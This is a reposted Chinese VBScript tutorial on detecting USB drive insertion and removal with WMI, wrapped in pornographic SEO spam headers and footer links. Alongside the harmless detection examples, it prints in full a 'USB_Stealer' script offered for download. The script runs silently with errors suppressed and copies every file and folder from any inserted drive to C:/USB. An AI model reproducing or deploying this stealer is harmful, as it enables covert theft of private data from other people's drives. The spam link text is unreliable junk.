亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > VBScript > 正文

用VBS檢測U盤插入與彈出事件的代碼

2020-07-26 11:51:36
字體:
來源:轉載
供稿:網友
可以說,對WMI的掌握程度的多少直接決定了你的VBS水平高低。看過網上普遍流傳VBS版U盤小偷程序,基本上都是靠無限循環實現的,一點技術含量也沒有,文章的末尾給出了我寫的VBS版U盤小偷程序的下載地址。雖然用WMI也得無限循環,但是效率是不一樣的。

使用WMI的Win32_VolumeChangeEvent類就可以實現,下面是示例代碼,更詳細的信息請參考MSND文檔。

復制代碼 代碼如下:

Const Configuration_Changed = 1
Const Device_Arrival = 2
Const Device_Removal = 3
Const Docking = 4
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!//" _
& strComputer & "/root/cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
WScript.Echo "U盤插入,盤符為" & _
objLatestEvent.DriveName
Case Device_Removal
WScript.Echo "U盤彈出,盤符為" & _
objLatestEvent.DriveName
End Select
Loop

我也寫了一個U盤小偷程序,自以為比網上抄來抄去的代碼要好,感興趣的可以下載來看看。
復制代碼 代碼如下:

'==========================================
'Name : USB_Stealer
'Date : 2010/5/25
'Author : Demon
'Copyright : Copyright (c) 2010 Demon
'E-Mail : still.demon@gmail.com
'QQ : 380401911
'Website : http://demon.tw
'==========================================
'Option Explicit
On Error Resume Next
Const Target_Folder = "C:/USB"

Call Main()

Sub Main()
On Error Resume Next
Const Device_Arrival = 2
Const Device_Removal = 3
Const strComputer = "."
Dim objWMIService, colMonitoredEvents, objLatestEvent

Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!//" _
& strComputer & "/root/cimv2")
Set colMonitoredEvents = objWMIService. _
ExecNotificationQuery( _
"Select * from Win32_VolumeChangeEvent")
Do
Set objLatestEvent = colMonitoredEvents.NextEvent
Select Case objLatestEvent.EventType
Case Device_Arrival
Copy_File objLatestEvent.DriveName
End Select
Loop
End Sub

Sub Copy_File(Folder_Path)
On Error Resume Next
Dim fso,file,folder
Set fso = CreateObject("scripting.filesystemobject")

If Not fso.FolderExists(Target_Folder) Then
fso.CreateFolder(Target_Folder)
End If

For Each file In fso.GetFolder(Folder_Path).Files
file.Copy Target_Folder & "/" & file.Name,True
Next

For Each folder In fso.GetFolder(Folder_Path).SubFolders
folder.Copy Target_Folder & "/" & folder.Name,True
Next
End Sub

鑒于很多人反映之前寫的那篇在XP下無效,做了一下修改。說是修改,其實是直接復制粘貼腳本專家的代碼。
復制代碼 代碼如下:

strComputer = "."
Set objWMIService = GetObject("winmgmts://" & strComputer & "/root/cimv2")

Set colEvents = objWMIService.ExecNotificationQuery _
("Select * From __InstanceOperationEvent Within 10 Where " _
& "TargetInstance isa 'Win32_LogicalDisk'")

Do While True
Set objEvent = colEvents.NextEvent
If objEvent.TargetInstance.DriveType = 2 Then
Select Case objEvent.Path_.Class
Case "__InstanceCreationEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been added."
Case "__InstanceDeletionEvent"
Wscript.Echo "Drive " & objEvent.TargetInstance.DeviceId & _
" has been removed."
End Select
End If
Loop

參考鏈接:How Can I Determine When a Removable Drive Gets Connected?
大家應該可以看出學習vbs的好地方是哪了, 學習vbs官方的網站不得不去,武林網很多的vbs相關的教材都是來自微軟官方的腳本專欄。
原文:http://demon.tw/programming/vbs-usb-insert-remove.html

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
91福利视频在线观看| 国产伦精品免费视频| 欧美日韩国产一中文字不卡| 国产成人精品视频| 日韩在线视频播放| 欧美一区在线直播| 午夜精品蜜臀一区二区三区免费| 亚洲欧美另类在线观看| 96精品久久久久中文字幕| 亚洲视频axxx| 51视频国产精品一区二区| 欧美日韩激情网| 亚洲男人天堂九九视频| 国产亚洲人成a一在线v站| 欧美中文字幕在线观看| 精品日本高清在线播放| 7m精品福利视频导航| 色av吧综合网| 57pao成人永久免费视频| 国产精品成人品| 亚洲午夜精品视频| 久久久国产视频| 成人久久18免费网站图片| 国产欧美 在线欧美| 色琪琪综合男人的天堂aⅴ视频| 精品久久久久久久中文字幕| 欧美激情精品久久久久久久变态| 亚洲图片在区色| 精品国产乱码久久久久酒店| 欧美成人精品不卡视频在线观看| 欧美一区二区影院| 亚洲国产91精品在线观看| 2021久久精品国产99国产精品| 欧美乱大交xxxxx另类电影| 亚洲欧美另类中文字幕| 亚洲福利在线播放| 人人爽久久涩噜噜噜网站| 日韩电影中文字幕在线观看| 亚洲欧洲午夜一线一品| 亚洲国产精品成人精品| 欧美午夜美女看片| 久久视频国产精品免费视频在线| 久久成年人视频| 久久精品中文字幕一区| 日韩精品中文在线观看| 91精品视频在线看| 亚洲已满18点击进入在线看片| 亚洲毛片在线观看.| 国产精品人成电影| 国产亚洲欧洲高清一区| 成人激情视频免费在线| 国模叶桐国产精品一区| 久久久久久国产精品美女| 91热精品视频| 日韩中文字幕视频在线观看| 亚洲激情自拍图| 亚洲无av在线中文字幕| 亚洲美女性生活视频| 中文字幕一精品亚洲无线一区| 国产精品com| 精品国产一区久久久| 成人a在线观看| 538国产精品视频一区二区| 欧洲成人免费视频| 亚洲一区精品电影| 欧美在线视频一区| 91日本在线观看| 亚洲综合小说区| 欧美成人激情图片网| 欧美激情久久久久久| 日韩在线播放一区| 国产精品视频一| 久久久久国产一区二区三区| 精品国产一区二区三区久久狼黑人| 国产一区红桃视频| 欧美激情极品视频| 欧美激情三级免费| 奇米影视亚洲狠狠色| 欧美激情啊啊啊| 亚洲国模精品一区| 日韩av在线免费看| 国产日韩av在线播放| 日日狠狠久久偷偷四色综合免费| 国产精品久久久久久久久久99| 亚洲人成网站在线播| 国产视频精品在线| 亚洲精品国产精品久久清纯直播| 亚洲毛片在线观看| 国产精品入口免费视| 97超级碰碰碰久久久| 91网站在线看| 欧美日韩一二三四五区| 精品在线欧美视频| 久久久久久com| 久久频这里精品99香蕉| 国产精品吊钟奶在线| 欧美与欧洲交xxxx免费观看| 日本精品性网站在线观看| 正在播放欧美视频| 国产亚洲精品激情久久| 欧美激情手机在线视频| 欧美性猛交xxxx乱大交蜜桃| 欧美一级在线播放| 欧美黑人视频一区| 亚洲人成电影在线播放| 日韩一区二区三区在线播放| 欧美精品videofree1080p| 欧美国产日韩视频| 欧美精品性视频| 久久综合伊人77777蜜臀| 久久亚洲电影天堂| 久久精品国产电影| 日韩精品久久久久| 欧美性猛交xxxxx免费看| 国产福利精品在线| 91成人在线视频| 中文字幕精品久久久久| 在线视频国产日韩| 精品亚洲精品福利线在观看| 国产主播喷水一区二区| 在线日韩欧美视频| 国产精品免费福利| 91热精品视频| 午夜精品久久久久久久99黑人| 欧美黄色片在线观看| 欧美怡红院视频一区二区三区| 久久香蕉精品香蕉| 欧美亚洲国产日本| 日韩av影片在线观看| 欧美大胆a视频| 日本亚洲欧美成人| y97精品国产97久久久久久| 成人国产在线激情| 国产亚洲激情在线| 欧美午夜影院在线视频| 国产精品成人免费视频| 亲爱的老师9免费观看全集电视剧| 欧美日韩美女视频| 日本精品性网站在线观看| 尤物yw午夜国产精品视频明星| 伊人久久久久久久久久久| 国产精品美女呻吟| 亚洲国内高清视频| 亚洲国产成人精品一区二区| 欧美影院成年免费版| 久久欧美在线电影| 亚洲国产精品一区二区三区| 91精品在线观看视频| 日韩精品在线免费观看| 久久男人的天堂| 亚洲成人av中文字幕| 成人网中文字幕| 神马国产精品影院av| 国产精品wwww| 国内精品美女av在线播放| 精品网站999www| 中文字幕亚洲一区二区三区五十路| 在线亚洲国产精品网| 欧美性高跟鞋xxxxhd| 国产精品xxxxx| 中文字幕日韩av电影| 久久久人成影片一区二区三区| 欧美性开放视频| 欧美另类在线播放|